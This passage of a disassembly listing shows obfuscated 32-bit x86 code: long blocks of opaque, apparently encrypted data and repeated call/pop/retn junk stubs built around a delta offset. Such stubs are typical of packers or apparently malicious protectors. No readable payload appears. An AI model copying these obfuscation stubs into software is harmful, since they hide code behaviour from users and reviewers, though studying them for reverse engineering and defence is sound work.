		dd 0B6C501A4h, 60E0D784h, 72A91F50h, 0F6F35C96h, 0F9227B2Bh
		dd 203205C3h, 0A8A91942h, 1B66F493h, 2522F4C7h,	0A0A55E80h
		dd 0E3063B4Ah, 0F32C9690h, 7BA7FC3h, 85753923h,	0C2436815h
		dd 5E0DE8EEh, 8FCA279Dh, 30227FC3h, 0A3B606C6h,	103DCCB3h
		dd 4CEB79D0h, 15167244h, 7E227FCEh, 209F938Dh, 5FBC3CEh
		dd 73A17BD5h, 52DD2134h, 0F6F35B3Eh, 11747FA9h,	0FC227FC0h
		dd 20E121E3h, 3B060B4Ah, 9B063B42h, 0CF227FD7h,	1E12985h
		dd 0DE7FC5A5h, 0A583FA4Eh, 0ECCA7A17h, 18227FC3h, 2AE9E077h
		dd 0FDC6EFD0h, 99B02B3Bh, 0B731D968h, 0E703EA48h
		dd 0A77B7A12h, 0E8CBAF3Ch, 36227FC3h, 87F1B004h, 61187527h
		dd 0CA7F66D1h, 0E731BADCh, 7A09D85Ch, 2834C246h, 0FBA670C6h
		dd 71227FC3h, 3F227E46h, 132D87C3h, 0CF227FD3h,	0E722772Bh
		dd 5CE517C3h, 0C2C2168Dh, 0A6E9F46Eh, 5AFBFA05h, 55657A12h
		dd 9CCA28C3h, 0EF227FC3h, 6E7DBC9Ch, 72265BBFh,	0ED265B87h
		dd 0BB227FC3h, 16C0BC94h, 0A7C20E0Dh, 9F22712Ah, 7BE4D1C3h
		dd 18B1C37Ch, 77B911FEh, 78F9DB63h, 36AD5BC7h, 7E486E2Fh
		dd 3F219790h, 0C4027FC3h, 93AB2400h, 0A3A37BE7h, 0F3377BE7h
		dd 0AA617FC3h, 3BAA200h, 0AF068276h, 0C8A319C6h, 1AAF2D5Bh
		dd 0CAF62362h, 0F747FA9h, 0F3227FC0h, 0A7E121E3h, 0F8060B4Ah
		dd 7A063B42h, 3F227FD7h, 4AE12985h, 0CA9F56A3h,	1F27AEDDh
		dd 0FCF280A2h, 0F9227949h, 0C99F74C3h, 0F727AED4h, 0EE00BA46h
		dd 14F280C6h, 1E3CDA76h, 4EA7F6C6h, 7827AEE1h, 282E864Eh
		dd 24AE19C6h, 96727FA9h, 3F227FC0h, 0C7E127E3h,	0CB063B4Ah
		dd 0E3063B42h, 0F3227FD4h, 0CCE12F83h, 755C3D5Ch, 0AF06FE76h
		dd 1EB7F6C6h, 0BB27AECAh, 0CCAB70C7h, 0E8227FC3h, 33288E7Ch
		dd 0FBC3FBCCh, 0FC487FC3h, 7E219793h, 67027FC3h, 0DBAB2700h
		dd 8BA37BE7h, 0E7357BE7h, 0A3627FC3h, 7B2B0800h, 0A1AFF45Ch
		dd 0F527AEE1h, 0EE032E7Eh, 46A7B9C6h, 8027AEE7h, 0F4A3FA4Ah
		dd 9A4A7A12h, 99EDA49Dh, 0EB99BE48h, 1F255CE8h,	92064B42h
		dd 605224F1h, 1E068276h, 46A7F2C6h, 9327AB9Fh, 0FB43C24Ah
		dd 77437A12h, 0AF3CDA7Eh, 0B4F280C6h, 4E0FF276h, 0EBE2FCC6h
		dd 0F717FA9h, 0F3227FC0h, 0A2E124E3h, 0F806234Ah, 7A063B42h
		dd 3F227FD7h, 0D7E12C80h, 0DE3FFA4Ah, 0E7487A12h, 0F3219792h
		dd 0A0027FC3h, 0B0AB2600h, 3AA37BE7h, 3F397BE7h, 0CE637FC3h
		dd 0A1944D00h, 5A73439Dh, 0D69BC591h, 7CA93E75h, 0F9F35D6Ah
		dd 96777FA9h, 3F227FC0h, 0C2E122E3h, 0CB06134Ah, 0E3063B42h
		dd 0F3227FDBh, 8AE12A86h, 93CDE03Bh, 7E26F1CCh,	81447FC3h
		dd 2A94390h, 0CAF35D06h, 0C42FF248h, 7A617A12h,	28312A56h
		dd 7739F4C6h, 0AF120A4Eh, 5539F4C6h, 9CCA2CC3h,	0EF227FC3h
		dd 6E79BC98h, 72265B9Fh, 0E4265B87h, 0BF227FC3h, 645BBC90h
		dd 4520D744h, 7F1B7F5Eh, 0CF486448h, 0E7219791h, 0A9027FC3h
		dd 0ADAB2500h, 0B8A37BE7h, 7E3B7BE7h, 6D607FC3h, 1BE19A00h
		dd 261744CBh, 0E7227FD7h, 0B7C96A30h, 1D986D1Ah, 0E697D5CFh
		dd 8499F7C8h, 3076AC28h, 9F48A7F0h, 0CF219792h,	0BE027FC3h
		dd 0BFAB2600h, 0BDA37BE7h, 0FC3E7BE7h, 2F637FC3h, 0E13B2A00h
		dd 0F7190248h, 492D205Ch, 0E7227FC5h, 0E45BEA48h, 64AB7A12h
		dd 0F9F371B2h, 0A7A7B93Bh, 7827AEE7h, 0F6A9C0A5h, 33580ABh
		dd 0E8702F8Fh, 409B19F2h, 787A2517h, 39885BC7h,	7E4814D1h
		dd 3F219790h, 0C4027FC3h, 93AB2400h, 0A3A37BE7h, 0F3387BE7h
		dd 0AA617FC3h, 0FD350900h, 51D08D24h, 1BDFCA3Ch, 9F487A12h
		dd 0CF219790h, 0BC027FC3h, 0AFAB2400h, 0BDA37BE7h, 0FC347BE7h
		dd 2D617FC3h, 46460800h, 2E8A8842h, 4AAF6043h, 0E2F62362h
		dd 0ECB7C248h, 29DD7A12h, 14737FA9h, 7E227FC0h,	66E126E3h
		dd 9B06334Ah, 0CB063B42h, 0E7227FDBh, 0D6E12E82h, 0A6D281EBh
		dd 0DE059D42h, 0FF44172Ah, 301F3D05h, 1AABB174h, 0CAF35A0Ah
		dd 0E7483F3Ah, 0F3219793h, 0A1027FC3h, 0B8AB2700h, 3AA37BE7h
		dd 3F397BE7h, 0CF627FC3h, 0F843900h, 3306C3A1h,	1E9C19BBh
		dd 0DA22F419h, 2D3FE656h, 1E22F4C6h, 3F22702Bh,	0E53616C3h
		dd 0ADC85D7Ch, 536EE24Dh, 4CA94F3Eh, 7CAB1E9Dh,	0F9F36A5Eh
		dd 5BC7EAEAh, 882D7A12h, 9E079610h, 0CF487FC3h,	0E7219793h
		dd 0AB027FC3h, 0BDAB2700h, 0B8A37BE7h, 7E3B7BE7h, 6F627FC3h
		dd 86093A00h, 274EFD67h, 0E7227FC6h, 0EC49831Dh, 3EA319E8h
		dd 717CA31Ah, 0AAA15246h, 6D2215C6h, 9F227C2Bh,	0C785FC3h
		dd 0C376F699h, 0D766FEC7h, 0F92262C7h, 3F703DC3h, 3F053395h
		dd 1FFBAD7Bh, 14724FD2h, 0EB26F63Dh, 0E1DFC2C2h, 0F5CB7A12h
		dd 0D0227FC3h, 6FCFB90Ah, 0B7B7807Dh, 0B527AEF3h, 99A5700Fh
		dd 44227FC3h, 36120656h, 0C0BFF2C6h, 0D027AB40h, 2D132646h
		dd 0C444ECC6h, 0AC727CFCh, 15369943h, 4470EF33h, 7772213Ah
		dd 1B707FA9h, 0F9227FC0h, 0A6E125E3h, 7A062B4Ah, 3B063B42h
		dd 9F227FD9h, 0E2E12D81h, 9F5810D8h, 66DD1189h,	0FCF36D2Eh
		dd 14727FA9h, 7E227FC0h, 67E127E3h, 9B063B4Ah, 0CB063B42h
		dd 0E7227FD9h, 9EE12F83h, 4994D369h, 0F5CB8A3Fh, 3F227FC3h
		dd 0E7126B4Ch, 9B1122E4h, 0DE3FFA4Ah, 0E7487A12h, 0F3219793h
		dd 0A1027FC3h, 0B8AB2700h, 3AA37BE7h, 3F367BE7h, 0CF627FC3h
		dd 7F9BEC00h, 2158673Ah, 2206A646h, 0F9482CC6h,	0FC219793h
		dd 26027FC3h, 7BAB2700h, 0DBA37BE7h, 0CF3E7BE7h, 0B7627FC3h
		dd 735B7600h, 4EF0B17h,	0F8CA222Ch, 1227FC3h, 3088F847h
		dd 9F227545h, 0AF702FC3h, 521370A2h, 0A37A25F4h, 0BDA9A848h
		dd 7C907BE7h, 6CCA7F48h, 0C8227FC3h, 0E38C4ABh,	8792DDD7h
		dd 0B05E744Dh, 1ED8D21Ch, 0FFA270BCh, 0F3227FC3h, 7E227F4Dh
		dd 7BAB21C3h, 6FA97BE7h, 9922159Bh, 0E7227C2Bh,	307C5FC3h
		dd 0DD56F69Dh, 0D866FEC7h, 7E2269C7h, 0FC7439C3h, 63DF5EA2h
		dd 0EBDFCA3Ch, 6AD77A12h, 277EDE46h, 0AF2215C6h, 0FC227C2Bh
		dd 0BD7C5FC3h, 1B56F69Dh, 0BB66FEC7h, 0CF2268C7h, 247439C3h
		dd 889320EAh, 93F2803Bh, 0FFCA2AC3h, 5E227FC3h,	0B67FBC9Eh
		dd 1E265BAFh, 0DA265B87h, 0A2227FC3h, 0B357BC96h, 0F922752Ah
		dd 0A99FEDC3h, 7E5992FDh, 86B38BB4h, 0DCF94237h, 0FED7FA4Ah
		dd 67757A12h, 357CBA11h, 2806A646h, 692938C6h, 7BF358CEh
		dd 3BCAAF49h, 0F227FC3h, 26830DD6h, 0E7227FC6h,	9F18AFBBh
		dd 43442FFCh, 0B8A9B854h, 86A97BE7h, 6D727F48h,	0C0E2BB7Ch
		dd 951370B9h, 0C366F69Bh, 0F32F97C7h, 87CC7FC3h, 0C5C89C6Bh
		dd 4615DC09h, 81A47945h, 0F675CE59h, 0CF482799h, 0E7219793h
		dd 0AB027FC3h, 0BDAB2700h, 0B8A37BE7h, 7E347BE7h, 6F627FC3h
		dd 0B5A96200h, 30E8C0CCh, 36068276h, 0CE9FF6C6h, 0AF27AED7h
		dd 0FC27F4CCh, 0FF447FC3h, 6064E41Dh, 0C383FA4Eh, 72AB7A17h
		dd 0E2F37002h, 0F348AF3Ch, 0F9219790h, 0A7027FC3h, 22AB2400h
		dd 7BA37BE7h, 9F3F7BE7h, 9C617FC3h, 0D4895600h,	44BA3759h
		dd 108FC6A7h, 0FC227FCFh, 6279AA62h, 8ED919ABh,	51F5F81Ch
		dd 0C9A3FA4Ah, 5A0B7A12h, 0F6F36C3Eh, 0DDFBFA05h, 75717A12h
		dd 0AF2F1E5Eh, 833517C6h, 0F975057Ch, 4E788148h, 445B5BC7h
		dd 1B7061BAh, 0F9227FC6h, 0A407DC3h, 817B2006h,	0EE068276h
		dd 0C82215C6h, 0CF227C2Bh, 247D5FC3h, 0D75EF69Ch, 0DD66FEC7h
		dd 0FC2267C7h, 0BD7538C3h, 0B1E467B0h, 3EA7F2BAh, 0CE27AB9Fh
		dd 36009656h, 0FCF280C6h, 0F9227C4Eh, 78D4FFC3h, 70FFFA4Ah
		dd 38CB7A12h, 61227FC3h, 492E7FE9h, 62E4ADA1h, 0F6F35B1Ah
		dd 0DB9D1F94h, 0AF72EF03h, 622FC248h, 5E7B7A12h, 3A26ACABh
		dd 4E91CE2Ah, 0B1F75BF7h, 0F3480662h, 0F9219793h, 0A4027FC3h
		dd 3AAB2700h, 7BA37BE7h, 9F377BE7h, 9F627FC3h, 6C81F800h
		dd 22120656h, 49780C6h,	7727AEE7h, 0AF2D1676h, 9EA7F2C6h
		dd 0F927AB9Fh, 1FDDA948h, 0F747FA9h, 0F3227FC0h, 0A7E121E3h
		dd 0F8060B4Ah, 7A063B42h, 3F227FD9h, 9BE12985h,	0AC633F3Eh
		dd 5201349Ch, 0F6F3637Ah
		dd 372A227Ah, 374DC599h, 0FBAB223Ch, 3AF36DBAh,	77727FA9h
		dd 0CF227FC0h, 0BFE127E3h, 0F7063B4Ah, 0FD063B42h, 0FC227FD4h
		dd 54E12F83h, 0B596D02Eh, 46A7B929h, 8C27AEE7h,	0F707FA9h
		dd 0F3227FC0h, 0A3E125E3h, 0F8062B4Ah, 7A063B42h, 3F227FD7h
		dd 0C2E12D81h, 0CE43EA48h, 0E3CA7A12h, 0DB227FC3h, 409EEFB3h
		dd 0A5D122BFh, 6BB5C593h, 7BA947C4h, 21447BE7h,	0CFA9891Eh
		dd 0E722772Ah, 0A8F535C3h, 9FD3D655h, 0D866F621h, 71702FC7h
		dd 0F1A919F2h, 0F57A2799h, 0CCCA29C3h, 0C7227FC3h, 7A7CBC9Dh
		dd 78265BB7h, 0EA265B87h, 38227FC3h, 93E6BC95h,	9F27964Bh
		dd 8AA77FC3h, 187B7ADCh, 22068276h, 0AF2215C6h,	0FC227C2Bh
		dd 0BD7C5FC3h, 1B56F69Dh, 0BB66FEC7h, 0CF2268C7h, 247439C3h
		dd 0A2FA2588h, 7CAF8336h, 0F9F62362h, 96747FA9h, 3F227FC0h
		dd 0C1E121E3h, 0CB060B4Ah, 0E3063B42h, 0F3227FDEh, 9EE12985h
		dd 0DAE4FF38h, 6CC67F51h, 3F2C9654h, 72BF7FC3h,	6D4B8FDBh
		dd 0D245CE70h, 698F8040h, 4C21AF3Ch, 0F9F355D6h, 7157FA4Ah
		dd 3F487A12h, 9F219791h, 95027FC3h, 0B3AB2500h,	0B7A37BE7h
		dd 0F9347BE7h, 0AE607FC3h, 1FF73800h, 0BC01FA4Eh, 9F487A17h
		dd 0CF219793h, 0BF027FC3h, 0B7AB2700h, 0BDA37BE7h, 0FC357BE7h
		dd 2E627FC3h, 5FD97800h, 7772EF49h, 0CF227FCDh,	88C9C90Ah
		dd 7633489h, 998C4488h,	77443FC4h, 2DB2260Dh, 3F226E2Bh
		dd 0B549F6C3h, 6B8D22A8h, 86FF8D8Bh, 8558CAC9h,	98904FFCh
		dd 69DD209Ah, 7BF34F0Ah, 0D7747FA9h, 9F227FC0h,	91E121E3h
		dd 0E3060B4Ah, 0F7063B42h, 0F9227FD6h, 42E12985h, 96CCFF43h
		dd 3F48A748h, 9F219790h, 94027FC3h, 0BBAB2400h,	0B7A37BE7h
		dd 0F93E7BE7h, 0AF617FC3h, 655E5000h, 0B393493Fh, 8BCBDAF0h
		dd 0E8227FC3h, 0C75ED9A9h, 5DE13859h, 8D79525Bh, 73933499h
		dd 0F34715C7h, 0EBA16846h, 5DA319C6h, 0A972087Fh, 0E3ABB448h
		dd 0A12215E7h, 0F9227C2Bh, 3F785FC3h, 5A76F699h, 1B66FEC7h
		dd 9F2268C7h, 0C703DC3h, 0EEEA7728h, 0A1D0FEA5h, 0F2A070CBh
		dd 0F3227FC3h, 7E227A4Dh, 0E0A319C3h, 7672DA20h, 0CF227FCDh
		dd 9D482C63h, 2338E7F6h, 25B8202Fh, 0E0AB3470h,	2F2215E7h
		dd 3F227C2Bh, 5C7B5FC3h, 0EB6EF69Ah, 0C366FEC7h, 0F3226BC7h
		dd 3A733EC3h, 21AF5C8Dh, 0C727AED6h, 309B3077h,	8DCFEA3Ch
		dd 42AB7A12h, 0E2F36AAEh, 0D5A7FA4Ah, 7D2D7A12h, 0FC227FC3h
		dd 6627C248h, 0BAE57A12h, 9AF366C6h, 0CF227FCCh, 0C1A7EA3Ch
		dd 4C2D7A12h, 9CA7F63Dh, 9627AEE7h, 7DCA2AC3h, 1F227FC3h
		dd 167FBC9Eh, 4E265BAFh, 0FE265B87h, 0B6227FC3h, 0A33FBC96h
		dd 46B90B39h, 6FA3FA48h, 0A2AF7A12h, 9AF6EAA9h,	42233C4Ah
		dd 362B8E7Eh, 0B797F2C6h, 4027AB56h, 0FC227FF0h, 4DC9DB30h
		dd 3F227F7Bh, 0EBE274C3h, 0CF3ABDC0h, 0EB063B48h, 0F3229790h
		dd 78797FC3h, 0FC226800h, 5A7EF6C3h, 1B66F6D3h,	0A89A24D7h
		dd 3022D239h, 0C366F423h, 0C0C280C7h, 2834524Eh, 0FC481EC6h
		dd 7E219793h, 67027FC3h, 0DBAB2700h, 8BA37BE7h,	0E73B7BE7h
		dd 0A3627FC3h, 203BA900h, 77CA13DEh, 4FA7560Bh,	0B227AEE9h
		dd 4BA1687Eh, 0CAFF2C6h, 5F27AB56h, 6B04D4F6h, 0EA9BFAF0h
		dd 33097A12h, 0A3209602h, 4086E2F4h, 122953C2h,	0CAEA227Ah
		dd 0D1D29FFCh, 0B7E727AEh, 83A07266h, 0A4F305E9h, 6AD98Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 91671DC3h, 0B58B695Fh, 5D10851h, 42E9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 25AF0472h, 0BA878C65h, 830F6107h, 8,	28D0Fh,	61600000h
		dd 9E9C3h, 0F9800000h, 436BF0AAh, 8BFCDCBDh, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 90142F24h, 0B60BF8BFh, 810FF955h, 26h, 0AE960h, 6B2E0000h
		dd 0FC08AFB1h, 7A7A61EDh, 0FE8h, 69AE6200h, 85FA1500h
		dd 9744C967h, 70EE92FCh, 0BD836158h, 5D11671h, 83097500h
		dd 0D1121DBDh, 19740005h, 0C08B5350h, 4B9B8h, 2D858900h
		dd 8D05D110h, 0D3A2349Dh, 5BD3FF05h, 1DBD8358h,	5D112h
		dd 53501774h, 4B9B8h, 2D858900h, 8D05D110h, 0D39ED59Dh
		dd 5BD3FF05h, 0C870F58h, 0E9000000h, 7,	0BD09980Ah, 0FC11C9DAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 70C35040h
		dd 91DC4082h, 0BE9E6h, 0ED0D0000h, 0FE282548h, 0AF7E5FF0h
		dd 0F5C08BBFh, 66C18B40h, 5F68DE81h, 4EBh, 0E8600000h
		dd 0Dh,	4966169Ch, 59A42E84h, 7AC70D40h, 82D58060h, 0F6E2815Eh
		dd 615A46D0h, 0AA1BD89h, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B20C2C3h, 0D12021B5h
		dd 8D858D05h, 6605D106h, 502BF1BFh, 489F18Bh, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 48AF71F2h, 0DE997h, 0A9E10000h, 0B4DD571Ah, 15C1A0Ch
		dd 6A3FAFFEh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 607C6623h, 4AE68166h, 6A006AB1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 5218C357h, 291C00Bh, 858DA709h, 5D49932h
		dd 0F618D89h, 0C08305D1h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 971A6958h
		dd 8950C642h, 0E8564E37h, 10h, 0D6D8094Dh, 403CDF60h, 53D318D6h
		dd 2FFD8D2Fh, 5F5E6160h, 24048950h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 47C35545h, 8518D89h, 10E805D1h
		dd 72000000h, 21AE6ABFh, 3FA1710Ch, 8E885F5h, 0E989A0BFh
		dd 0Fh,	9C08CF76h, 0D4D420B6h, 3F731728h, 5F865197h, 0BD89006Ah
		dd 5D12B2Dh, 0B70F006Ah, 3995FFFAh, 6A05D11Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 81A7C351h, 0BD291D21h, 5D11601h, 81CF9D8Dh, 0BD8B05D4h
		dd 5D11291h, 8960D3FFh,	0D108D19Dh, 43BF6605h, 85FF6199h
		dd 5D12719h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0A3C35545h, 0B70F6050h,	0F88B66DBh, 0EE95E61h
		dd 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D4993Ch
		push	0
		push	ebp
		call	sub_5A3776
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3776	proc near		; CODE XREF: ud2_____:005A376Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5A3776	endp

; ---------------------------------------------------------------------------
		push	ds
		or	al, 0C4h
		fisub	dword ptr [esi-7Fh]
		imul	byte ptr [ebx+3Ch]
		cmp	dword ptr [ebp+5D11905h], 7D0h
		jbe	loc_5A3905
		mov	ebx, [ebp+5D12D45h]
		push	0
		push	ebx
		call	sub_5A37B0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A37B0	proc near		; CODE XREF: ud2_____:005A37A8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5A37B0	endp

; ---------------------------------------------------------------------------
		dd 4FF1B061h, 0A19CC92Fh, 830F74FCh, 6,	1449B58Bh, 0BD2B05D1h
		dd 5D106DDh, 100E381h, 870F0000h, 3, 0BF8B70Fh,	0D3850FDBh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 1702C352h, 0BD835AEDh,	5D4973Eh
		dd 5C840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 8201C352h, 99C63DE7h
		dd 60ABFDBh, 0BD8B5326h, 5D1016Dh, 82E9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0F458B092h, 3AC88370h, 659D29B4h, 0C705D119h, 0D4973E85h
		dd 105h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0FE3E74AFh, 0E6FA92BFh, 858D8961h
		dd 0E905D111h, 0Bh, 2474AD89h, 985D6A0Ch, 0E904E5B2h, 0Fh
		dd 85C7F08Bh, 5D4973Eh,	0
; ---------------------------------------------------------------------------
		mov	si, ax
		lea	ebx, [ebp+5D12D45h]
		push	0
		push	edx
		call	sub_5A38E4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A38E4	proc near		; CODE XREF: ud2_____:005A38DCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5A38E4	endp

; ---------------------------------------------------------------------------
		dd 438285E7h, 0CA0D95CAh, 0FF23813Fh, 8BFFFFFEh
; ---------------------------------------------------------------------------
		stc


loc_5A3905:				; CODE XREF: ud2_____:005A3799j
		mov	bx, ds
		mov	[ebp+5D10181h],	eax
		test	bl, 4
		jz	loc_5A3930
		mov	edi, [ebp+5D1190Dh]
		call	dword ptr [ebp+5D12685h]
		mov	di, si
		push	eax
		mov	[esp], eax
		mov	esi, [ebp+5D10D91h]


loc_5A3930:				; CODE XREF: ud2_____:005A3911j
		jmp	loc_5A3E0A
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5A3940
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3940	proc near		; CODE XREF: ud2_____:005A3938p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5A3940	endp

; ---------------------------------------------------------------------------
		dd 0B0483482h, 91BD3100h, 0E605D10Fh, 52006A70h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 1299DFE3h, 0CF810D7Ah, 4036BDDh, 6A71E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0C0419FC3h
		dd 30954F37h, 0FDBD03h,	0B60F05D1h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3B7E53F4h
		dd 0B7524C93h, 0FE8BAEBEh, 6BAh, 71B58B00h, 8B05D111h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E91A9957h, 0Bh,	0E29622F3h, 0EDBA55D1h
		dd 0C1F3213Fh, 0B58904E8h, 5D122E9h, 6AE2F766h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D3FC353h, 7E0FE25Ch, 8B660ADFh, 0BD8531F9h,	2B05D108h
		dd 89BD01D8h, 9305D11Dh, 13E850h, 50910000h, 5E9A11AAh
		dd 0B6E4D4B0h, 4E27B318h, 1255371h, 5EFE8BE5h, 0F6816093h
		dd 2A3333C2h, 0D860Fh, 8E90000h, 14000000h, 23C6A714h
		dd 614E175Dh, 1905B5FFh, 6A05D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 29A2DC3h, 0F9BF0F04h
		dd 245995FFh, 6A05D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 29CD26C3h, 0D10AC98Dh, 14E805h
		dd 0EBD90000h, 4BF17428h, 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h
		dd 0BD8BC66Dh, 5D11DB9h, 0F00B05Eh, 70E6F1B7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 3DC35141h, 0DD662223h
		dd 5E9h, 0D70B1700h, 71E4FAB2h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0D7C35646h,	0B87DF66Ah, 0EE99Eh
		dd 0BA950000h, 4B1A752Dh, 0DC6310F1h, 0FDDB65AAh, 830F613Ch
		dd 29Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	22C35646h, 0BE665239h, 0B60FF6F5h, 56006AD8h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 8BAF277Ah, 6BAF0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0C335A7C3h, 9D9589D4h
		dd 0E905D12Ah, 12h, 65903A1Ch, 24F3A009h, 6C929A9Dh, 2DB54F57h
		dd 0C38BF7B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0E9C35545h, 5EF95BCh, 6A04E8C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DACC350h
		dd 4E0A607Bh, 74EF8166h, 0F0BF0FD0h, 2BE2F766h,	0D78166D8h
		dd 0B58B1E6h, 0D10F2DBDh, 0FD82B05h, 1B188h, 7B900h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 98EE8AC3h, 3DCD346Dh, 8950B724h, 0D1002DB5h,	0C18305h
		dd 6800Fh, 85890000h, 5D11E05h,	860FD93Bh, 16Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2AC35646h, 33BADB4Ch
		dd 8C661E7Bh, 4C1F6D9h,	112840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0B5A759C3h
		dd 8EA95D15h, 68A0F9Ah,	29000000h, 0D112F1BDh, 0BE905h
		dd 69190000h, 0D288DC09h, 0D69A19C9h, 8595FFB2h, 6A05D126h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0D4D2C353h, 8722CA5Eh, 0CE9A660h,	88000000h
		dd 7FBA8FC7h, 9451354Dh, 5B9496BCh, 2DDF8166h, 6AC32B58h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0C9BEC357h, 0E925C1Dh, 0FA8B661Fh, 12E9h
		dd 8C1E1700h, 1F41A496h, 73B59DA1h, 0FF45A5D5h,	0F84CC9FFh
		dd 8343Dh, 49860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 9322C351h, 966BB505h
		dd 4BE9F8F9h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 6037C350h, 9F78A576h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 6115A1C3h, 0C5852952h, 0F05D125h
; ---------------------------------------------------------------------------
		mov	bh, 0F1h


loc_5A3E0A:				; CODE XREF: ud2_____:loc_5A3930j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	esi
		call	sub_5A3E19
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3E19	proc near		; CODE XREF: ud2_____:005A3E11p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5A3E19	endp

; ---------------------------------------------------------------------------
		fcom	qword ptr [edi+eax*8-2EF37A7Bh]
		add	eax, 74E09DD1h
		jnp	loc_5A3E40
		mov	edi, 25CA29B9h


loc_5A3E40:				; CODE XREF: ud2_____:005A3E35j
		mov	eax, eax
		push	0
		push	edx
		call	sub_5A3E4D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3E4D	proc near		; CODE XREF: ud2_____:005A3E45p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5A3E4D	endp

; ---------------------------------------------------------------------------
		db 0D9h, 0EFh, 79h
		dd 59B5897Eh, 8B05D131h, 0D11B71B5h, 5BD8105h, 0D005D119h
		dd 0F000007h, 6E85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 1A1B3274h, 81A04771h
		dd 890FD364h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5D11325h]
		inc	dword ptr [ebp+5D11905h]
		push	0
		push	eax
		call	sub_5A3EBF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3EBF	proc near		; CODE XREF: ud2_____:005A3EB7p

